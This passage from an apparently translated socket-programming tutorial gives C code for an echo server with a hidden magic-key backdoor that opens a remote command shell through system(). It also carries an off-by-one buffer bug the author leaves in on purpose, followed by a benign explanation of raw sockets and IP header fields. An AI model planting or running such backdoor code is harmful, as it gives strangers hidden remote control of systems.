int echofunk(int sockfd);
int igor(int sockfd);
void sig_chld(int signo);
We include our headerfiles. We define a constant which stands for MAGICKEY. When like above
"WAKEUP" is put in, the "igor-shell" is started.
Following are the functionprototyps like "echofunk", which provides the actuall echo-service
to the client. "igor" provides the "igor-shell" and "sig_chld" is our signalhandler.
int echofunk(int sockfd)
{
ssize_t bytes;
char buffer[150];
memset(buffer, '\0', sizeof(buffer));
while( (bytes = read(sockfd, buffer, sizeof(buffer))) > 0) {
if(strncmp(buffer,MAGICKEY, strlen(MAGICKEY)) == 0)
igor(sockfd);
buffer[bytes] = '\0';
if(write(sockfd, buffer, sizeof(buffer)) != sizeof(buffer))
return -1;
memset(buffer,'\0',sizeof(buffer));
}
}
The .echofunk. function has the connected describtor as argument which also wants the int of
the "read" function as input. The received data are written into "buffer" and searched for
our "MAGICKEY". If it is found we start the "igor" function. Otherwise we write the received
data back to the socket. "memset" fills "buffer" with "\0". Within this function there still
is a problem for the correct run of the programm hidden. Have Phun while searching. ;)
int igor(int sockfd)
{
int status = 0;
ssize_t bytes;
char syscommand[100];
write(sockfd, "say quit to exit IGOR-PROMPT\n\n",32);
while(status == 0) {
memset(syscommand, '\0',sizeof(syscommand));
if(write(sockfd, "IGOR-PROMPT> ",13) != 13)
exit(0);
bytes = read(sockfd, syscommand, sizeof(syscommand));
if(bytes < 0) return -1;
else if(bytes == 0) return 0;
if(strncmp(syscommand, "quit", 4) == 0)
status = 1;
syscommand[bytes] = '\n';
if(system(syscommand) < 0) {
write(sockfd, "System-error\n", 13);
exit(0);
}
write(sockfd,"done...\n",8);
}
return 0;
}
In the string .syscommand. our Shell-command is put down later and as an argument passed to
"system". First we are greeted by "igor". We put out some kind of prompt "IGOR-PROMPT>" and
then read the output of the user. We controll the correct run of "read" (what we also should
do in main!) and check if the user wants to leave the shell with "quit". Then "system" is
called with our command". "system" creates another process with "fork" and therein runs an
"exec" call and so is able to run an alredy existing programm in the filesystem. It is
checked if "system" has a returnvalue under 0. If this is the case the fucntion failed and
the "igor" shell is terminated. Otherwise "done" is put out..
void sig_chld(int signo)
{
pid_t pid;
int stat;
pid = wait(&stat);
return;
}
Our signalhandler for the preventation of zombies.
int main(void)
{
pid_t pid;
int sockfd, connfd;
struct sockaddr_in servaddr;
memset(&servaddr, '\0',sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(7);
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0) {
printf("cannot creat socket\n");
return -1;
}
bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
listen(sockfd, 12);
signal(SIGCHLD,sig_chld);
while(1>0) {
connfd = accept(sockfd, (struct sockaddr *)NULL,NULL);
if( (pid = fork()) == 0) { /* child */
close(sockfd);
echofunk(connfd);
exit(0);
}
close(connfd);
}
return 0;
}
Within the "main" function there realy is nothing new. Like before via "sockaddr_in" we pass
protocollinformatin which we bind to the socket with "bind" and with "listen" we wait for
incoming connections. Then we esthablis our signalhandler, for the receivment of "SIGCHILD"
signal. Then we pick up a complete connection with "accept" out of the waitingque. We create
with "fork" a new child, which takes on the handling of the echo-service for the server. The
server meanwhile waits for new incoming connections.
Even this server still is knitted simple knitted. But this Tut is only a introduction at all.
7.0 Introduction to Raw-Sockets
With Raw-Sockets we are able to remove the transparency of a connection and knot our own
datapackets. We are able to initialise all existing flags or to ascertain the datacontent of
the packet. Raw-socket programming is often helpfull like we see in programms likes "ping"
"trace-route" or "nmap".
TO be able to use raw-sockets we first should create one. We make that happen by calling
"socket" like following:
rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
So we are able to write our own ICMP datapacket, or to receive. When a ICMP packet comes in
now, we can read it with "read" and evaluate it. All ICMP packets are guided through the
"rawsock" interface. We can send packets with "send" or "sendto" calls. More on this later
when we need it.
Under Linux we got some special headerfile which can be used for Raw-IP. So for example we
got "netinet/ip.h" for a correct IP header, "netinet/ip_icmp" for a correct ICMP header or
"netinet/udp.h" for a ready UDP header.
Lets turn to the basic knowledge of TCP/IP, remember how a datapacket is structured. first we
got the IP header, which so to say is our drugde. Without IP packets won�t find their target
in the network.. After that the wanted protocol which should be transported. So for example
after IP a TCP or ICMP header can follow.
7.1 Header Structurs
We will focus on the TCP, UDP and ICMP headers. I will refer to the BSD structur, cause i
think its the best variant. Don�t panic the BSD header natuarly is available. Just before we
include our header bind a constant with the name "__FAVOR_BSD". With IP "__USE_BSD" we will
stick to the standard, to get to know it a bit better. Who does not lean towards BSD, can
inform himself with a "emacs /usr/include/netinet/ip.h || tcp.h || ip_icmp.h" about each
standard header. Take into acount that these header structurs natuarly don�t differ from the
other headers. The only diffrence is the naming of each structurelement.
Further more i will describe the function of the datafields in the packets.
First i will name the complete name of each field and then the datatypename which the
accordant structurlement carries.
7.1.1 IP header
Version (4 bits) - unsigned int version:4
This field contains the used version of IP. Now aday the rule is still version 4.
IHL (4 bits) . unsgined int ihl:4
IHL gives the length of the IP headers in multiple of 32bits, namely 4 Bytes. Through this a
value of 5 occurs(5*32 = 160 Bits = 20 Bytes).
Type of Service (8 bits) . u_int8_t tos
Here the quality of service is put down. The 8 bit long field can be keyed like that:
|Priority|D|T|R|C|O|
-Priority (3 bits)
These Bits names of the eight priority levels. Here a higher value stands for a higher
priority.
0 - Normal
1 - Priority
2 - Immediate
3 - Flash
4 - Flash override
5 - Critical
6 - Internet Control
7 - Network Control
Thefurther Bits call for more features for the tranfser
D-Bit: delay calls for a connection with short delay.
T-Bit: troughput calls for high data througput
R-Bit: reliability calls for high security
C-Bit: Cost calls for tour with low cost (who does�nt want this...)
The last bit is not used right now.
Packetlength (total lenght) (16 bit) . u_int16_t tot_len
Contains the total length of the datagram. Clearly this means the length of the IP header +
(TCP/UDP/ICMP) header length + data.
By the way the maximum size is: 65535 bytes.
Identification (identification) (16 bits) . u_int16_t id
This value is used for the numbering of fragmentet datagrams. Each packet should have a
explicit nuber, for this the value is often incrementend by one.
Flags (3 bit) . unsigned int flags:4
If a fragmentation is taken place it is controll by this field.
O|DF|MF
The first bit O is not used and is always 0.
DF: stands for Do-Not-Fragment and prohibits as long as it set a furhter fragmentation of the
datapacket.
MF: stands for More-Flag and states that more further fragmentation is wanted. If its 0 this
is the last or the only fragment of a packet.
Fragment-Offset (13 bits) . u_int16_t frag_off
When fragmented datagrams are send, this value states the position of the data in the origin
datagram
TTL (time to live) (8 bits) . u_int8_t ttl
With this value we can give the lifetime of our packet in hops. Each time a IP packets is
forwarded by a router its ttl is decremented by one. On zero the packet is eaten.
Protokoll (8 bits) . u_int8_t protocol
This field names the overlaying transportprotocol.
Bsw. ip->protocol = IPPROTO_TCP;
Header Checksumme (16 bits) . u_int16_t check
Ip secures the corectnes of the ip data in this field Here the value is only calculated out
of the ip header. The transportprotocol and the data each overlyaing protocol has its own
checksum.
Quell IP (source ip) (32 bits) . u_int32_t saddr
Here the ip adress of the sender is stated.
Ziel IP (dest ip) (32 bits) . u_int32_t daddr
Here the ip adress of the receiver is stated.
Options [optimal] (variable) . unspecified
It can be 40 Bytes long. Which options can be packed in, can be read in a RFC ( i never used
this field till now).
7.1.2 TCP Header
Here we use the BSD variant.
Source-Port (16 bits) . u_int16_t th_sport
Sender Port.
DEstination-Port (16 bits) . u_int16_t th_